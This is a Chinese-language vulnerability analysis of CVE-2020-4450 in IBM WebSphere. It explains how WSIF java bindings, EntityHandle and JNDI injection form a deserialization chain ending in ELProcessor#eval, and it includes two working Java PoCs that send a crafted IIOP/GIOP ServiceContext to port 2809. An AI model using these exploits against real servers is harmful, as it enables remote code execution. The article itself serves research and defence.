做者:Sp4rr0vv @ 白帽匯安全研究院
覈對:r4v3zn @ 白帽匯安全研究院
java
環境準備
基於 ibm installtion mananger
進行搭建。web
8.5.x 版本對應的倉庫地址爲:
https://www.ibm.com/software/repositorymanager/V85WASDeveloperILAN
express
9.0.x 版本對應的倉庫地址爲:
https://www.ibm.com/software/repositorymanager/V9WASILAN
apache
注:需去掉 PH25074
補丁,本文基於 9.0.x 版本進行調試。bootstrap
WebSphere
默認狀況下,280九、9100
是 IIOP
協議交互的明文端口,分別對應 CORBA
的 bootstrap
和 NamingService
;而 940二、9403
則爲 iiopssl
端口,在默認配置狀況下訪問 WebSpere
的 NamingService
是會走 9403
的SSL 端口,爲了聚焦漏洞,咱們能夠先在 Web 控制檯上手動關閉 SSL。api
WSIF 和 WSDL
WSDL
(Web
服務描述語言,Web Services Description Language
)是爲描述 Web
服務發佈的 XML
格式。安全
一個 WSDL
文檔一般包含 8
個重要的元素,即 definitions、types、import、message、portType、operation、binding、service
元素,其中 service
元素就定義了各類服務端點,閱讀wsdl
時能夠從這個元素開始往上讀。服務器
其中 portType
元素中的 operation
元素定義了一個接口的完整信息,binding
則是爲訪問這個接口規定了一些細節,如能夠設定使用的協議,協議能夠是 soap、http、smtp、ftp
等任何一種傳輸協議,除此之外還能夠綁定 jms
、ejb
及 local java
等等,不過都是須要對binding
和service
元素作擴展的。oracle
WSIF
是 Web Services Invocation Framework
的縮寫,意爲 Web
服務調用框架,WSIF
是一組基於 WSDL
文件的 API
,他調用能夠用 WSDL
文件描述的任何服務,在這裏最重點在於擴展了binding
和 service
元素,使其能夠動態調用 java
方法和訪問 ejb
等。框架
Demo 到 POC
CVE-2020-4450
中的漏洞利用鏈其中一個要點就是利用其動態調用 java
的特性,繞過對調用方法的限制,咱們下面參考官網提供的 sample
中的案例寫個小 demo
,看下這款框架的功能底層是怎麼實現的,以及有什麼特色。
利用鏈中其中一環的限制條件之一是方法中的參數類型、參數數量、參數類型順序必需要與接口定義的一致,本文咱們以 String
類型參數爲例進行測試,咱們寫一個帶有 String
類型的參數接口,來進行跟蹤接口是如何被 WSIF
移花接木到指定的 ELProcessor#eval(String expression)
。
WSDL
文件以下:
message
元素中定義參數,type
與接口中的類型需保持一致。
portType
元素定義 operation
子節點其中該子節點中的 name
與接口名稱。
而後在進行定義 javabinding
,規定 portType
調用的方式爲 java
調用。
其中 java
命名空間元素是關鍵要素,其中包含了實際執行方法的類和方法,後面咱們將會看到 WSIF
如何將 Hello#asyHell(Sring name);
接口方法調用變成 ELProcessor#eval(String)
。
WSIF 到 eval
經過調用 WSIF 的 API 來訪問 WebService
很簡單,只需四步。
第一步獲取工廠:
第二步實例化 WSIFService
,會往擴展註冊中心註冊幾個拓展元素的解析器,其中 JavaBindingSerializer
就是解析 WSDL
中 java
這個命名空間元素的:
在解析的過程當中經過 unmarshall
進行解析 WDSL
格式
public javax.wsdl.extensions.ExtensibilityElement unmarshall( public javax.wsdl.extensions.ExtensibilityElement unmarshall( Class parentType, javax.xml.namespace.QName elementType, org.w3c.dom.Element el, javax.wsdl.Definition def, javax.wsdl.extensions.ExtensionRegistry extReg) throws javax.wsdl.WSDLException { Trc.entry(this, parentType, elementType, el, def, extReg); // CHANGE HERE: Use only one temp string ... javax.wsdl.extensions.ExtensibilityElement returnValue = null; if (JavaBindingConstants.Q_ELEM_JAVA_BINDING.equals(elementType)) { JavaBinding javaBinding = new JavaBinding(); Trc.exit(javaBinding); return javaBinding; } else if (JavaBindingConstants.Q_ELEM_JAVA_OPERATION.equals(elementType)) { JavaOperation javaOperation = new JavaOperation(); String methodName = DOMUtils.getAttribute(el, "methodName"); //String requiredStr = DOMUtils.getAttributeNS(el, Constants.NS_URI_WSDL, Constants.ATTR_REQUIRED); if (methodName != null) { javaOperation.setMethodName(methodName); } String methodType = DOMUtils.getAttribute(el, "methodType"); if (methodType != null) { javaOperation.setMethodType(methodType); } String parameterOrder = DOMUtils.getAttribute(el, "parameterOrder"); if (parameterOrder != null) { javaOperation.setParameterOrder(parameterOrder); } String returnPart = DOMUtils.getAttribute(el, "returnPart"); if (returnPart != null) { javaOperation.setReturnPart(returnPart); } Trc.exit(javaOperation); return javaOperation; } else if (JavaBindingConstants.Q_ELEM_JAVA_ADDRESS.equals(elementType)) { JavaAddress javaAddress = new JavaAddress(); String className = DOMUtils.getAttribute(el, "className"); if (className != null) { javaAddress.setClassName(className); } String classPath = DOMUtils.getAttribute(el, "classPath"); if (classPath != null) { javaAddress.setClassPath(classPath); } String classLoader = DOMUtils.getAttribute(el, "classLoader"); if (classLoader != null) { javaAddress.setClassLoader(classLoader); } Trc.exit(javaAddress); return javaAddress; } Trc.exit(returnValue); return returnValue; }
如下爲分別對應的類,該類的屬性咱們都是能夠在 WSDL
中進行控制的。
JavaOperation
類:
JavaAddress
類:
下面是簡要的調用流程,解析 xml
中的元素,將其都轉換 JAVA
對象,Definition
這個類就是由這些對象組成的,而後根據提供的serviceName
,portTypeName
選擇 WSDL
中相對應的 service
和 portType
,上面說過 portType
就是一些定義抽象訪問接口的集合。
第三步,獲取 stub
,先是根據給定的第一個參數 portName
找到對應的 port
,在根據 port
找對應的 binding
,獲取其擴展的 namespaceURI
來找 WSIFProvider
動態加載 WSIFPort
的實現類。
這裏的 binding namespace
就是 java
因此實現類會是由 WSIFDynamicProvider_Java
這個工廠生成的 WSIFPort_Java
對象
這個類有個叫 fieldObjectReference
的字段很關鍵,後面咱們會看到它就是咱們在 WSDL
中 <java:address >
這個元素中指定的ClassName
的實例對象,也是最終執行方法的對象。
獲取 WSIFPort_Java
後,接着往下能夠看到,會根據提供的接口生成該接口的代理對象
其中 WSIFClientProxy
實現了 InvocationHandler
,最後對接口中的方法確定會通過它的 invoke
方法處理,下面重點來看下它的invoke
方法是怎麼實現的
先是找 operation
,這裏的 method
參數就是正在調用的方法
遍歷咱們在初始化 service
時選定的 portType
中的全部 operation
,首先 operation
的名字要和正在調用的方法名一致
名字一致後,找參數,先是若是兩者的參數都爲 0
的話,就返回這個 operation
了,有參數,判斷參數長度,不一致就繼續遍歷下一個operation
若是參數長度一致,就判斷類型,若是遇到一個不一致的類型就繼續遍歷下一個 operation
若是徹底一致就馬上返回這個 operation
,若是 operation
中定義的參數類型,是正在調用的方法的參數類型的子類的話也行,可是並無限制返回值。
選定 WSDL
中 portType
的這個符合名字和參數條件的 operation
後,接着往下,會根據這個operation的名字、參數名和返回值名由 WSIFPort
的實現類建立對應的 WSIFOperation
這裏咱們 WSIFPort
是 WSIFPort_Java
,因此最終的實現類是 WSIFOperation_Java
,可是在這以前還會有個判斷,就是會根據咱們選的 port
,找到 bingding
,在遍歷 binding
裏的operation
元素,必需要有一個 operation
的名字和正在調用的方法名一致,否則就會直接返回,到這裏咱們看到都是對 wsdl
中 operation
名以及參數類型的限制而已,下面是 WSIFPort_Java
這個類的實例化
跟進斷點這行,會看到 WSIF
會實例化咱們在 WSDL
中 <java:address className="javax.el.ELProcessor"/>
這個標籤那裏指定的className
,而後返回其全部的方法
接下來,是根據上面所說的,在實例化以前,篩選出的 wsdl
的 binding
中的那個 operation
,將其中的 java
擴展元素賦值給 fieldJavaOperationModel
字段
而後就根據這個對象的 methodType
字段,判斷是靜態方法仍是實例化方法,最後執行方法會根據這兩個字段作選擇
後面是重點,WSIF
怎麼找真正要執行的方法
而後去 WSDL
找參數
簡單的說下,咱們在下圖這裏指定了 parameterOrder
的情景
WSIF
會遍歷這個列表中的名字,根據當前選定的 WSDL
中的 operation
找到對應的 message
元素,而後會根據這個 parameterOrder
列表中的名字匹配其中的 part
元素的名字,也就是參數名,實例化這個元素指定的 type
成 Class
對象,放到返回值列表中,在一次遍歷的過程當中,先是找到 input
,匹配不上再找output,若是都匹配不上就報錯,到這裏咱們看到了第三個限制,就是指定了 parameterOrder
,那麼對於與其相匹配的 operation
中的 message
中定義的參數名必定要和 parameterOrder
中的一致,至於 returnPart
這個屬性有無都行
而後就是遍歷全部的構造方法,匹配參數類型
先是參數個數要一致,一致後,類型要一致或者 WSDL
中定義的參數類型要是構造函數中參數的子類
第二個找實例方法,咱們最終的目的,找參數類型的過程大體和上面一致,不過在getMethodReturnClass()
這裏會判斷 returnPart
,沒有的話不要緊,有的話仍是會有些限制
而後就判斷 fieldJavaOperationModel
中的方法 name
在不在咱們指定的那個類的實例方法裏面,到這裏,已經差很少能夠看出這個框架的 javabding
的特色了,當前正在執行的方法的名字只是限制了 WSDL
中一個抽象的 Operation
名字,真正執行的實例方法是在 <java:operation methodName="xxxx" ....>
中指定的
後面就是匹配參數個數
接着是返回值,這裏返回值都是不爲空才判斷,因此對於爲了執行任意方法爲目的來講,咱們甚至能夠不指定 returnPart
後面的過濾條件都和構造方法同樣,最終返回的就是指定名字的方法
最後看下有定義 return
時真正執行方法的調用 executeRequestResponseOperation
後面還有一些特色就不說了,咱們直接看下最終執行實例方法的地方,若是把返回值相關的定義去掉,將會連類型轉換錯誤都沒有,這就很是的棒
解析到序列化
如下爲漏洞精簡版本漏洞序列化棧:
readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb) getEJBObject:181, EntityHandle (com.ibm.ejs.container) findByPrimaryKey:-1, $Proxy94 (com.sun.proxy) executeInputOnlyOperation:1603, WSIFOperation_Java (org.apache.wsif.providers.java) eval:57, ELProcessor (javax.el)
從 WSIFPort_EJB
做爲開始起點,
顯而易見,兩個字段是 transient
的,可是在序列化時手動寫進去了,因此反序列時也手動還原回來了
先看下實現了 WAS
中實現了 Handler
的類,一共就四個,此次 EntityHandle
是主角
這個類的字段以下
getEJBObject() this.object==null
的條件確定能夠知足了
initialContextProperties
和 homeJNDIName
都是能夠控制的,正常狀況下確定會想到jndi
注入
惋惜 WAS
默認安裝時的 JDK
版本已經對基於 JNDI
作限制了,並且啓動時會給 ObjectFactoryBuilder
賦值,連 getObjectFactoryFromReference
都到不了
其中在 this.getObjectInstanceUsingObjectFactoryBuilders
中最後會進入到的會是 WASObjectFactoryBuilder
這個類
這裏並不會對 ClassFactory
遠程加載,可是會根據類名實例化咱們指定的工廠類,而後調用 getObjectInstance
,基於高版本 JDK
的 jndi
注入利用方式,就是去尋找有沒有這樣的 ObjectFactory
,它的 getObjectInstance
裏的操做能直接或者間接地結合後續操做來形成漏洞
org.apache.wsif.naming.WSIFServiceObjectFactory
工廠類的 getObjectInstance
就是開頭介紹的 WSIF API
幾步,裏面全部參數都是能夠控制的,由於當 lookup
到這裏的時候,就是爲了 decode
咱們構造的 reference
對象。
仔細看一下,若是咱們指定 renferce
的 className
爲 WSIFServiceStubRef.class
的時候,回顧開頭對 WSIF API
的 4
個步驟,會發現除了調用方法名以及其參數以外,裏面用到的參數都再這裏了,這意味着若是這個代理對象從 lookup
這裏出去後,對這個對象有任何的接口方法調用,咱們都是能夠根據 WSIF
的 java binding
來控制其真正執行方法的對象以及要執行的方法的
再看下 lookup
後的流程,是將 lookup
回來的對象轉換成 EJBHome
,而後調用 findFindByPrimaryKey
方法
EJBHome
這個接口並無 findFindByPrimaryKey
這個方法,因此須要去找它的子類,CounterHome
就是其中一個
如今讓咱們看一下利用鏈要怎麼構造,因爲 EntityHandle
這個類只實現了 Handler
接口,沒有實現 EJBObject
接口,咱們能夠自行實現 EJBObject
接口,讓其返回
咱們特定構造的 EntityHandle
對象綁定咱們的RMI地址去進行 jndi
注入
賦值給 WSIFPort_EJB
便可
而後起個 RMI
綁定一下咱們構造的 WSIF Reference
如下爲互聯網公開的漏洞 POC 利用詳細代碼:
public static void main(String[] args) throws NamingException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException { System.getProperties().put("com.ibm.CORBA.ConfigURL","file:////sas.client.props"); System.getProperties().put("com.ibm.SSL.ConfigURL","file://ssl.client.props"); WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null, null, null); Field field = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject"); field.setAccessible(true); field.set(wsifPort_ejb, new MyEJBObject()); Properties env = new Properties(); env.put(Context.PROVIDER_URL, "iiop://127.0.0.1:2809/"); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory"); InitialContext context = new InitialContext(env); context.list(""); Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx"); f_defaultInitCtx.setAccessible(true); WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context); Field f_context = defaultInitCtx.getClass().getDeclaredField("_context"); f_context.setAccessible(true); CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx); Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC"); f_corbaNC.setAccessible(true); _NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context); Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate"); f__delegate.setAccessible(true); ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC); Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior"); f_ior.setAccessible(true); IOR ior = (IOR) f_ior.get(clientDelegate); Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb"); f_orb.setAccessible(true); ORB orb = (ORB) f_orb.get(clientDelegate); GIOPImpl giop = (GIOPImpl) orb.getServerGIOP(); Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, ClientDelegate.class, String.class); getConnection.setAccessible(true); Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, ""); Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class); setConnectionContexts.setAccessible(true); CDROutputStream outputStream = ORB.createCDROutputStream(); outputStream.putEndian(); Any any = orb.create_any(); any.insert_Value(wsifPort_ejb); PropagationContext propagationContext = new PropagationContext( 0, new TransIdentity(null, null, new otid_t(0,0,new byte[0])), new TransIdentity[0], any ); PropagationContextHelper.write(outputStream, propagationContext); byte[] result = outputStream.toByteArray(); ServiceContext serviceContext = new ServiceContext(0, result); ArrayList arrayList = new ArrayList(); arrayList.add(serviceContext); setConnectionContexts.invoke(connection, arrayList); context.list(""); }
一些思考
WAS
默認對 RMI/IIOP
開啓了 SSL
和 Basic
認證,前面爲了聚焦漏洞我把 WAS
的 SSL
關了,若是沒關,又沒指定 SSL
配置文件的話,直接用互聯網中公開的漏洞利用方案在設置 ServiceContext
時相關的代碼會直接報錯拋出異常。
並且開啓了也不能直接打,由於還有個 BasicAuth
,會彈出用戶名密碼驗證框,不知道帳戶密碼的話,敲一下回車也能過去
能夠抓包和 Debug 一下源碼看一下爲何會這樣,在 WsnInitCtx
上下文中 list
或者 lookup
的實現是,先去發個 locateRequset
去 BooStrap
那獲取 NamingService
的地址,拿到 NamingService
的 IOR
後再發送 Request
請求,若是 WAS
沒啓用 SSL
的話,在服務器返回的 IOR Profile
中是會帶有端口指明 NamingService
的端口。
若是 BootStrap
返回的 IOR
只帶有 Host
,端口爲 0,可是在返回的 IOR
中會有 SSL
的相關內容,則說明是要走 SSL
端口的,若是咱們的客戶端沒配置 SSL
屬性的話,那他是不會走 SSL
鏈接的,而是直接鏈接 host:0
,確定連不上
問題就出在這裏,由於本質上,要進入到本次的反序列化調用點,根本是不須要一個 LocateRequst
的,咱們能夠 debug
看一下,在 WAS
的服務端在接受 iiop
請求時,會先通過幾個攔截器的處理,默認狀況下一共7
個攔截器
取決於 Corba
客戶端的請求類型,執行不一樣的邏輯
private void invokeInterceptor(ServerRequestInterceptor var1, ServerRequestInfoImpl var2) throws ForwardRequest { switch(var2.state) { case 8: var1.receive_request_service_contexts(var2); break; case 9: var1.receive_request(var2); break; case 10: var1.send_reply(var2); break; case 11: var1.send_exception(var2); break; case 12: var1.send_other(var2); break; default: throw new INTERNAL("Unexpected state for ServerRequestInfo: " + var2.state); } }
其中只要是 Request
請求,就能進入到 TxServerInterceptor
的 receive_request
,進行後面的 ServiceContext
處理操做,觸發本次的反序化過程
因此想寫個實戰能用的 POC 或者 EXP 的話,直接用 WAS 的 JNDI API
確定不行的,能夠再找一下能夠直接發 Request
和設置 ServiceContext
的 API
。或者考慮手動構造一下數據包,默認端口沒改的狀況下,直接打2809或者9100,至於怎麼構造,能夠參考一下 GIOP規範 和 JDK
或者 IBM
的那套 corba api
,下面演示一下大體的構造過程
直接用 Oracle JDK
的 原生 corba API
請求一下 2809
,就會發現客戶端發的是一個帶有 ServiceContext
的 Request
請求的
參照 GIOP 規範,整個 GIOP 頭是固定的 12 個字節,其中第 8 個字節是請求類型
再參照一下這個 API 是怎麼發包的,先是十二個字節的 GIOP 頭
而後是一個固定的 4 字節 ServiceContext
的數目
後面就是 ServiceContext
格式也是固定的
寫完 ServiceContext
後,是下面這個格式
因此,大體的驗證代碼以下:
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null, null, null); Field field = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject"); field.setAccessible(true); field.set(wsifPort_ejb, new MyEJBObject()); Socket socket = new Socket(); InetSocketAddress inetSocketAddress = new InetSocketAddress("127.0.0.1", 2809); socket.connect(inetSocketAddress,0); socket.setKeepAlive(true); socket.setTcpNoDelay(true); OutputStream outputStream = socket.getOutputStream(); EncoderOutputStream cdrOutputStream = (EncoderOutputStream)ORB.createCDROutputStream(); cdrOutputStream.write_long(1195986768); cdrOutputStream.write_octet((byte)1);//GIOPMajor cdrOutputStream.write_octet((byte)0);//GIOPMinor cdrOutputStream.write_octet((byte)0);//flags cdrOutputStream.write_octet((byte)0);//type //request Object sizePosition = cdrOutputStream.writePlaceHolderLong((byte) 0);//size cdrOutputStream.write_long(1);//ServiceContext size CDROutputStream outputStream2 = ORB.createCDROutputStream(); outputStream2.putEndian(); Any any = ORB.init().create_any(); any.insert_Value(wsifPort_ejb); PropagationContext propagationContext = new PropagationContext( 0, new TransIdentity(null, null, new otid_t(0,0,new byte[0])), new TransIdentity[0], any ); PropagationContextHelper.write(outputStream2, propagationContext); byte[] result = outputStream2.toByteArray(); ServiceContext serviceContext = new ServiceContext(0, result); serviceContext.write(cdrOutputStream); int writeOffset2 = cdrOutputStream.getByteBuffer().getWriteOffset(); System.out.println(writeOffset2); cdrOutputStream.write_long(6);//requestID cdrOutputStream.write_octet((byte)1);//responseExpeced ObjectKey objectKey = new ObjectKey("NameService".getBytes()); cdrOutputStream.write_long(objectKey.length()); cdrOutputStream.write_octet_array(objectKey.getBytes(), 0, objectKey.length()); cdrOutputStream.write_long(3); cdrOutputStream.write_octet_array("get".getBytes(),0,3); cdrOutputStream.write_long(0); cdrOutputStream.write_long(0); int writeOffsetEND = cdrOutputStream.getByteBuffer().getWriteOffset(); cdrOutputStream.rewriteLong(writeOffsetEND-12,sizePosition); cdrOutputStream.getByteBuffer().flushTo(outputStream); System.in.read(); }
結果
參考
- https://mp.weixin.qq.com/s/spDHOaFh_0zxXAD4yPGejQ
- https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf
- https://ws.apache.org/wsif/
- https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere
本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1315/